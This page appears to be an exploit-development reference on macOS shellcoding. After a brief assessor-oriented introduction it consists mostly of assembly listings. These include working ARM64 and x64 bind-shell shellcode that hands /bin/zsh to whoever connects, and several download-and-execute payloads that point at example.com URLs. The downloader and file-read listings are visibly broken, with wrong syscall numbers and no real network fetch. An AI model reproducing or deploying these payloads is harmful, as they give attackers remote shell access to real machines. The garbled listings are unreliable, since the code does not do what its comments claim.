Exploit // Build and Adapt

macOS Shellcoding

This Exploit Development field brief frames macOS Shellcoding around the trust boundaries an authorized assessor needs to verify. Use it to plan safe validation, capture reproducible evidence and distinguish a meaningful control failure from an isolated technical symptom.

field noteassessment referencepublic sources

Why it matters in practice

Within Exploit Development, macOS Shellcoding changes how scope, prerequisites and evidence should be handled. Focus on the concrete asset or data flow under test, record the assumptions that make the condition exploitable and connect verified behavior to an operational consequence and remediation decision.

This note keeps macOS Shellcoding tied to offensive workflow: what to observe, what to prove, what usually goes wrong, and which references remain useful once an assessment moves from planning into active validation.

Primary coverage

The coverage below turns macOS Shellcoding into an assessment map for Exploit Development: identify the relevant system boundary, select a safe validation path, preserve evidence and record uncertainty before drawing a conclusion.

  • Arm (silicon) makefile
  • Arm (silicon) bind shell shellcode
  • Arm (silicon) ftp downloader shellcode
  • Arm (silicon) http downloader shellcode
  • Arm (silicon) reverse shell shellcode
  • Arm (silicon) orw shellcode (open, read, write)
  • X64 makefile
  • X64 bind shell shellcode
  • X64 ftp downloader shellcode
  • X64 http downloader shellcode

Assessment focus

build:
	as hello_world.asm -o hello_world.o
	ld hello_world.o -o hello_world -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
.global _main
.align 4

_main:
  mov X0, #2      ; domain = PF_INET
  mov X1, #1      ; type = SOCK_STREAM
  mov X2, XZR     ; protocol = IPPROTO_IP
  mov X16, #97    ; BSD system call 97 for socket
  svc #0xFFF      ; execute system call
  mov X11, X0     ; save socket descriptor

  mov X2, #16               ; address_len = 16 bytes
  mov X4, #0x200            ; sin_len = , sin family = 2
  movk X4, #0xD204, lsl#16  ; sin_port = 1234 = 0x04D2 (big endian fot TCP/IP)
  stp X4, XZR, [SP,#-16]!   ; push sockaddr_in to stack
  mov X1, SP                ; pointer to sockaddr_in structure
  mov X16, #104             ; BSD system call 104 for bind
  svc #0xFFF                ; execute system call

  mov X0, X11               ; restore saved socket descriptor
  mov X1, XZR               ; backlog = null
  mov X16, #106             ; BSD system call 106 for listen
  svc #0xFFF                ; execute system call

  mov X0, X11               ; resture saved socket descriptor
  mov X1, XZR               ; ignore address store
  mov X2, XZR               ; ignore length of address structure
  mov X16, #30              ; BSD system call 30 for accept
  svc #0xFFF                ; execute system call
  mov X12, X0               ; save new socket descriptor

  mov X16, #90              ; BSD system call 90 for dup2
  mov X1, #2                ; file descriptor 2 = STDERR
  svc #0xFFF                ; execute system call
  mov X0, X12               ; restore ned socket descriptor
  mov X1, #1                ; file descriptor 1 = STDOUT
  svc #0xFFF                ; execute system call
  mov X0, X12               ; restore new socket descriptor
  lsr X1, X1, #1            ; file descriptor 0 = STDIN
  svc #0xFFF                ; execute system call

  mov X3, #0x622F           ; move "/bin/zsh" into X3 (little endian in four moves)
  movk X3, #0x6E69, lsl#16
  movk X3, #0x7A2F, lsl#32
  movk X3, #0x6873, lsl#48
  stp X3, XZR, [SP, #-16]! ; push path and terminating 0 to stack
  mov X0, SP               ; save pointer to argv[0]
  stp X0, XZR, [SP,#-16]!  ; push argv[0] and terminating 0 to stack
  mov X1, SP               ; move pointer to argument array into X1
  mov X2, XZR              ; third argument for execve
  mov X16, #59             ; BSD system call 59 for execve
  svc #0xFFF               ; execute system call
.section __TEXT,__text
.global _start

_start:
    ; URL of the file to download
    mov x0, url
    ; Path where the file should be stored
    mov x1, target_path

    ; download the file
    xor x2, x2  ; null-terminated string
    mov x16, 0x2000005  ; system call number for open
    svc #0

    ; Create or open file
    mov x0, x0  ; file descriptor
    mov x2, 0x1000  ; buffer size
    mov x1, buffer
    xor x16, x16  ; read file
    svc #0

    ; prepare a memory region for shellcode
    mov x0, sp  ; pointer to the stack
    sub x0, x0, 0x1000  ; move by 4096 bytes
    mov x1, buffer
    mov x2, x0  ; length of the shellcode that was read
    mov x16, 0x200004  ; system call number for mmap
    xor x10, x10  ; Flags (MAP_PRIVATE | MAP_ANONYMOUS)
    xor x8, x8  ; file descriptor (ignored)
    xor x9, x9  ; offset in file (ignored)
    svc #0

    ; copy shellcode into memory
    mov x0, x0  ; destination address
    mov x1, buffer
    mov x2, x0  ; length of the shellcode
    xor x16, x16  ; read file
    svc #0

    ; execute shellcode
    mov x0, x0  ; shellcode address
    xor x16, x16  ; exit code 0
    blr x0

    ; exit the program
    mov w0, 0  ; exit code 0
    mov x16, 0x2000001  ; system call number for exit
    svc #0

.section __DATA,__data
url: .asciz "ftp://example.com/your_file.txt"
target_path: .asciz "/path/to/your_file.txt"
buffer: .space 4096
.section __TEXT,__text
.global _start

_start:
    ; URL of the file to download
    ldr x0, =url
    ; Path where the file should be stored
    ldr x1, =target_path

    ; download the file
    xor x2, x2  ; null-terminated string
    mov x16, 0x2000005  ; system call number for open
    svc #0

    ; Create or open file
    mov x8, x0  ; file descriptor
    mov x2, 0x1000  ; buffer size
    ldr x1, =buffer
    xor x0, x0  ; read file
    mov x16, 0x2000003  ; system call number for read
    svc #0

    ; prepare a memory region for shellcode
    mov x0, sp  ; pointer to the stack
    sub x0, x0, 0x1000  ; move by 4096 bytes
    mov x1, x0  ; destination address
    mov x2, x0  ; size
    mov x3, 0x7  ; PROT_READ | PROT_WRITE | PROT_EXEC
    mov x8, 0x0  ; Flags
    mov x16, 0x200001f  ; system call number for mmap
    svc #0

    ; copy shellcode into memory
    mov x1, x0  ; destination address
    ldr x2, =buffer
    mov x3, x0  ; length of the shellcode
    mov x0, x8  ; read file
    mov x16, 0x2000003  ; system call number for read
    svc #0

    ; execute shellcode
    mov x0, x1  ; shellcode address
    blr x0

    ; exit the program
    xor x0, x0  ; exit code 0
    mov x16, 0x2000001  ; system call number for exit
    svc #0

.section __DATA,__data
url: .asciz "https://example.com/your_file.txt"
target_path: .asciz "/path/to/your_file.txt"
buffer: .skip 4096
section __TEXT,__text
global _start

_start:
    ; open file
    mov x0, 0  ; system call number for open
    ldr x1, =path_to_file
    eor x2, x2  ; Flags (O_RDONLY)
    mov x16, 0x1000003  ; system call number for open
    svc 0x80

    ; store file descriptor in X0
    mov x0, x0

    ; contents of the file buffer
    mov x0, 1  ; system call number for read
    mov x1, x0  ; file descriptor
    ldr x2, =buffer
    mov x3, 4096  ; maximum length of content to read
    mov x16, 0x1000003  ; system call number for read
    svc 0x80

    ; write the contents to standard output
    mov x0, 1  ; system call number for write
    mov x1, 1  ; file descriptor 1 (standard output)
    ldr x2, =buffer
    mov x3, x0  ; number of bytes read
    mov x16, 0x1000003  ; system call number for write
    svc 0x80

    ; exit the program
    mov x0, 0  ; exit code 0
    mov x16, 0x1000001  ; system call number for exit
    svc 0x80

section __DATA,__data
path_to_file: .asciz "/path/to/file.txt"
buffer: .space 4096
build:
	nasm -f macho64 execute_command.asm
	ld -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem execute_command.o -o execute_command
bits 64
global _main
_main:
  ;socket
  push    0x2
  pop     rdi               ; RDI = AF_INET = 2
  push    0x1
  pop     rsi               ; RSI = SOCK_STREAM = 1
  xor     rdx, rdx          ; RDX = IPPROTO_IP = 0

  ;store syscall number on RAX
  push    0x61              ; put 97 on the stack (socket syscall#)
  pop     rax               ; pop 97 to RAX
  bts     rax, 25           ; set the 25th bit to 1
  syscall                   ; trigger syscall
  mov     r9, rax           ; save socket number

  ; bind
  mov     rdi, r9           ; put saved socket fd value to RDI = socket fd

  ; Begin building the memory structure on the stack
  xor     rsi, rsi          ; RSI = sin_zero[8] = 0x0000000000000000
  push    rsi               ;

  ; next entry on the stack should be 0x00000000 5c11 02 00 = (sin_addr .. sin_len)
  mov     esi, 0x5c110201   ; port sin_port=0x115c, sin_family=0x02, sin_len=0x01
  dec     esi               ; sin_len=0x00
  push    rsi               ; push RSI (=0x000000005c110200) to the stack
  push    rsp
  pop     rsi               ; RSI = RSP = pointer to the structure

  push    0x10
  pop     rdx               ; RDX = 0x10 (length of socket structure)

  ;store syscall number on RAX
  push    0x68              ; put 104 on the stack (bind syscall#)
  pop     rax               ; pop it to RAX
  bts     rax, 25           ; set the 25th bit to 1
  syscall                   ; trigger syscall

  ;listen
  mov     rdi, r9           ; put saved socket fd value to RDI
  xor     rsi, rsi          ; RSI = 0

  ;store syscall number on RAX
  push    0x6a              ; put 106 on the stack (listen syscall#)
  pop     rax               ; pop it to RAX
  bts     rax, 25           ; set the 25th bit to 1
  syscall                   ; trigger syscall

  ;accept
  mov     rdi, r9           ; put saved socket fd value to RDI
  xor     rsi, rsi          ; *address = RSI = 0
  xor     rdx, rdx          ; *address_len = RDX = 0

  ;store syscall number on RAX
  push    0x1e              ; put 30 on the stack (accept syscall#)
  pop     rax               ; pop it to RAX
  bts     rax, 25           ; set the 25th bit to 1
  syscall                   ; trigger syscall
  mov     r10,rax           ; save returned connection file descriptor into R10

  ;dup2
  mov     rdi, r10          ; put the connection file descriptor into RDI
  push    2
  pop     rsi               ; set RSI = 2
  dup2_loop:                ; beginning of our loop
  push    0x5a              ; put 90 on the stack (dup2 syscall#)
  pop     rax               ; pop it to RAX
  bts     rax, 25           ; set the 25th bit to 1
  syscall                   ; trigger syscall
  dec     rsi               ; decrement RSI
  jns     dup2_loop         ; jump back to the beginning of the loop if RSI>=0

  ;execv
  xor     rdx, rdx          ; zero our RDX
  push    rdx               ; push NULL string terminator
  mov     rbx, '/bin/zsh'   ; move our string into RBX
  push    rbx               ; push the string we stored in RBX to the stack
  mov     rdi, rsp          ; store the stack pointer in RDI
  push    rdx               ; argv[1] = 0
  push    rdi               ; argv[0] = /bin/zsh
  mov     rsi, rsp          ; argv    = rsp - store RSP's value in RSI
  push    59                ; put 59 on the stack
  pop     rax               ; pop it to RAX
  bts     rax, 25           ; set the 25th bit to 1
  syscall
section __TEXT,__text
global _start

_start:
    ; URL of the file to download
    mov rdi, url
    ; Path where the file should be stored
    mov rsi, target_path

    ; download the file
    xor rdx, rdx  ; null-terminated string
    mov rax, 0x2000005  ; system call number for open
    syscall

    ; Create or open file
    mov rdi, rax  ; file descriptor
    mov rdx, 0x1000  ; buffer size
    mov rsi, buffer
    xor rax, rax  ; read file
    syscall

    ; prepare a memory region for shellcode
    mov rdi, rsp  ; pointer to the stack
    sub rdi, 0x1000  ; move by 4096 bytes
    mov rsi, buffer
    mov rdx, rax  ; length of the shellcode that was read
    mov rax, 0x200004  ; system call number for mmap
    xor r10, r10  ; Flags (MAP_PRIVATE | MAP_ANONYMOUS)
    xor r8, r8  ; file descriptor (ignored)
    xor r9, r9  ; offset in file (ignored)
    syscall

    ; copy shellcode into memory
    mov rdi, rax  ; destination address
    mov rsi, buffer
    mov rdx, rax  ; length of the shellcode
    xor rax, rax  ; read file
    syscall

    ; execute shellcode
    mov rdi, rax  ; shellcode address
    xor rax, rax  ; exit code 0
    call rdi

    ; exit the program
    xor edi, edi  ; exit code 0
    mov rax, 0x2000001  ; system call number for exit
    syscall

section __DATA,__data
url: db "ftp://example.com/your_file.txt", 0
target_path: db "/path/to/your_file.txt", 0
buffer: times 4096 db 0

Selected public references